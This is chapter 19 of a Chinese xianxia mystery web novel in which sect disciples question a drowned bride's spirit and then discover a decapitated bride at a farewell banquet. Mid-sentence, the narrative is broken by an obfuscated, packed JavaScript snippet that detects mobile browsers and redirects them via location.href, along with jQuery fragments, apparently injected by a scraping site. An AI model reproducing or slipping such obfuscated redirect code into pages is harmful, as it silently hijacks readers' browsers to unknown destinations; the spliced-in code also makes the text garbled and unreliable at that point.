19. 花落人去两消亡

作品:《师姐她总是喊打喊杀

    云初撇了撇嘴,“还真让你给猜对了,我想这此应是那人第一次动手,所以手法不娴熟。”


    岁晚抬了抬下巴,“问问她不就行了。”


    云初从袖子里掏出一颗丹药填进嘴里,裴述见状好奇问道:“师兄,你吃这个能补回来吗?”


    云初的手势做了一半抬脚作势踢了他一下,“说什么呢,怎么可能补不回来,别瞎说!”


    见云初这破防的模样,岁晚的嘴角直抽搐。


    “我问你一些问题,你只需顺着我的问题答是或否,可听明白了?”


    白小姐僵硬地点点头,像是陈旧的木门,一动起来咯吱咯吱响。


    “杀你的人,是妖吗?”岁晚依旧是这个问题。


    白小姐的嘴唇轻张,吃力地发出一个字音,“是。”


    此话一出岁晚挑了挑眉,继续问道:“那妖是否会施加幻术让你分不清虚实?”


    “是。”


    云初看了眼岁晚,“我去,问得这么精确?我来一个。”


    “你与那妖是否相识?”


    白小姐僵硬地摇头。


    裴述:“那妖是女子吗?”


    “是。”


    “你是被那妖亲手淹死的么?”


    “是。”


    云初这时突然出声:“行了行了,我撑不住了,今天就到这儿吧。”


    说罢他上前,对着她缓缓鞠了一躬,“多谢,我们定会给你讨回公道,还你真相。”


    白小姐的眼角竟缓缓落下一行血泪,嘴唇一张一合,“多谢。”


    此话一出,连云初都震惊。


    按理说这灵魂只是死之前的执念,而且过了那么多年,他们除了死时的记忆再无其他七情六欲,只是一遍遍地向发现他们的问灵者诉说着自己的死因。


    可此刻,白小姐竟冲破了这问灵阵,说出和表达了自己的情感。


    这是问灵十余载的云初都未见过的。


    看着白小姐一点点消失,在场的人心里都五味杂陈。


    她本是花儿一样的年纪,满怀憧憬地嫁人,这人生还未开始,便被迫结束。


    此刻他们的身后站着一人,听见动静的三人齐齐转身看向他。


    那人穿着素净,一张脸看着已过了而立之年,但那清澈的眼神却在替他的主人诉说他只是个少年。


    他缓缓地迈着步子,眼睛死死地盯着池塘中央,一步步朝那边走去。


    云初心下一惊,伸手将他敲晕。


    不用多问他们也知道这人是谁。


    方家的独子,白家小姐的夫婿。


    看着他熟睡的样子,他们每个人的心里都憋着一口气,那股想发又无处发的怒火。


    对于这一程,他们完全可以不管此事,去欧阳家大部分的缘由也是为了那每人一千的灵石,好为往后的路程做打算。


    可不知不觉地竟查到了此,心中想要破案的渴望也在此达到了高潮。


    他们此行就是冲着调查那仙门弟子失踪案去的,知道一路凶险所以格外惜命,对于这个案子也是抱着能查便查不能查便不查的态度。


    他们已经做好了随时收手赶路的准备,心也做好了不共情任何的想法,可身入此局才知,他们才知永远不可能做到如他们想得那般冷血。


    正如逍遥宗的门训写的一般,逍遥宗弟子遇事不可置身事外。


    从小的教诲不允许他们放弃,自己的心也不允许。


    *


    璟文和慕回回到客栈时便看到随地而躺的三个人,气氛也莫名压抑。


    慕回喝了口水,点了点趴在桌子上的裴述,柔声问道:“你们不是去方家问灵了么?怎么都这般沉闷?是进展得不顺利吗?”


    裴述摇头,把在方家的经过一五一十地讲与璟文和慕回听。


    “你们是如何想的?”哪知璟文听后突然出声。


    他知道,这只妖不好对付。


    若遇妖物,最怕的就是能迷惑心智的妖物,既难缠又难对付,说不定还会把性命搭在上面。


    而且这只妖又杀了那么多人,修为定是大涨。


    他不能不为师弟师妹的安全着想,但心里又着实想破了这桩案子。


    云初猛地起身,“既是查到这儿了,我就没想过半途而废,若是查便查个彻底,这妖杀了那么多人,不送她下十八层地狱我就不用修行了。”


    岁晚也举手附和,“我同意,既然已经入局,便把这盘棋下完,不管结果如何都不会后悔。”


    裴述看着岁晚笑了笑,“我听师姐的。”


    璟文看向慕回,对上慕回含笑的眸子,“师兄,你是知道我的,你们去哪我便在哪。”


    璟文默默送了一口气,“好,那我们便重新梳理一遍线索,定要将这妖物绳之以法。”


    几个人围了一圈,开始了激烈的争论,纸张散落一地,定睛一看,上面满是密密麻麻的字和画的地图。


    两个时辰后,他们大概得出了以下几点结论。


    一、杀人的是妖,可蛊人心智使其迷失自己,然后不知不觉地杀人。


    二、除了白小姐是她亲自动的手之外,其他几案可能皆是借刀杀人,这把刀很可能就是新郎。


    三、此妖对成亲有着某种执念,可能之前被负伤心欲绝才大肆杀人泄愤。


    岁晚靠在墙上,想着他们争论的话,总觉得还差了些什么,可她又一时想不出来差了什么。


    慕回出声:“我和师兄问了昭昭姑娘,然后去出事的这几家里看了看,新郎要不就是疯了,要不就是死了,出事的时候又全都不在场,什么都没问出来。”


    璟文也点头,“嗯,我们还打听到,后日张府的家主要续弦,声势好像还挺大,给邻里乡亲都发了请帖,我和慕回装作是外地云游的商人,也要了几份过来,还有李家的大郎马上要进京赶考,打算……后日给其举办饯行宴,也邀了很多人去,我们恐怕要分两拨再跑一趟。”


    云初疑惑:“这李家大郎是饯行宴又不是成亲,应该没什么事吧?”


    岁晚一拍他的脑袋,“笨啊!不怕一万就怕万一,管他什么宴去看看不就知道了。”


    璟文笑道:“师妹说的在理,我们不能赌那万分之一的概率,这样,我和阿回一组去张府赴宴,你们还是三人一组去李府赴宴。”


    裴述蹙眉:“师兄,我跟你们一起去吧,张家是成亲,风险要大一些。”


    他知道璟文是故意这般的。


    “也不一定,你看我们守了一夜的欧阳家不就没什么事?若是有事,我会尽可能地告诉你们。”


    “……”


    *


    三日后,他们换


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111747|164100||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了身衣裳各自赴宴,赴宴前裴述依旧用了那千丝引。


    “师兄,出事了定要告知我们。”裴述叮嘱。


    璟文看了看手腕,点头,“嗯,放心吧,你们也要小心。”


    岁晚叹了口气,拉着裴述往外走,“别浪费时间了,快跟我走。”


    裴述:“师姐……”


    他们三人没有帖子,只好选择夜半等着人走了差不多的时候入府。


    云初用了空间异位法术,难得的这次没有失效。


    “你这回怎么没掉链子?”


    云初自己也觉得奇怪,“这次施法和欧阳家那次不同,要顺畅些……”


    岁晚蹙眉,“是巧合吗?”


    “可能吧。”


    裴述指了指下面,“那个是不是李家大郎啊?”


    二人顺着他的手往下看,穿着大红喜袍正踉踉跄跄地往屋内走。


    “我去,他不是饯行宴吗?怎么穿得跟成亲一样?”


    岁晚看着他的背影,总觉得很是怪异,心里有一股不好的预感。


    “这李家大郎成亲了?”


    “没听师兄说啊。”


    裴述此刻出声,“他成亲了,现在就在成亲。”


    “你怎会知晓?”


    裴述指了指那窗户映出的人影,此刻竟交错在一起。


    “这是在……喝交杯酒?”


    “不好!”


    说时迟那时快,此刻两个交错的人影已经变成了一个。


    不!准确来说是两个身子一个头。


    他们见状赶紧破门而入,首先对上的便是李家大郎那因惊吓过度而惨白的脸,手指还指着地上,他们往下看去,地上躺着一个尸体,尸体穿着喜服,颈间鲜血淋漓,头颅已消失不见。


    身后围满了因他的喊声而来的吓人,云初顾不了那么多,扯着他的领子问:“那妖呢?”


    李家大郎嘴里喃喃自语,“妖……对,是妖……她是妖!她是妖!救救我!求求你救救我!”


    云初眉头紧皱,看着他这样子,心里不知何滋味。


    手臂上出现了一道力,他侧头看去,对上岁晚的眼睛,看着她对自己摇了摇头。


    云初低骂了一声甩下他,往后退了一步。


    岁晚上前,问他:“你今日为何会成亲?”


    身后的下人此刻出声,“你们是什么人?”


    裴述:“捉妖。”


    此话一出议论纷纷,这场面让众人都想起来了那妖物的恐怖。


    岁晚见他已然疯癫,转身看向身后的人,“今日不是饯行宴吗?为何会成亲?”


    “今日确实是饯行宴,可公子与小姐情投意合,早早地便订了婚,眼看公子要进京赶考,公子便命人准备了婚房和喜服,想在临走前给小姐一个名分。”


    “初凝!初凝我对不起你!初凝——!”


    身后传来李家大郎撕心裂肺的哭声。


    裴述弯腰与他面对面,问他:“你没疯?”


    李家大郎不应,依旧是坐在地上大声嚎哭。


    云初抿了抿唇,沉声道:“我们就是来捉那妖的,你若什么都不说,你的娘子便白白送命。”


    果然,哭声戛然而止。


    他起身看着云初,“你们当真能捉到那妖?”


    “尽力。”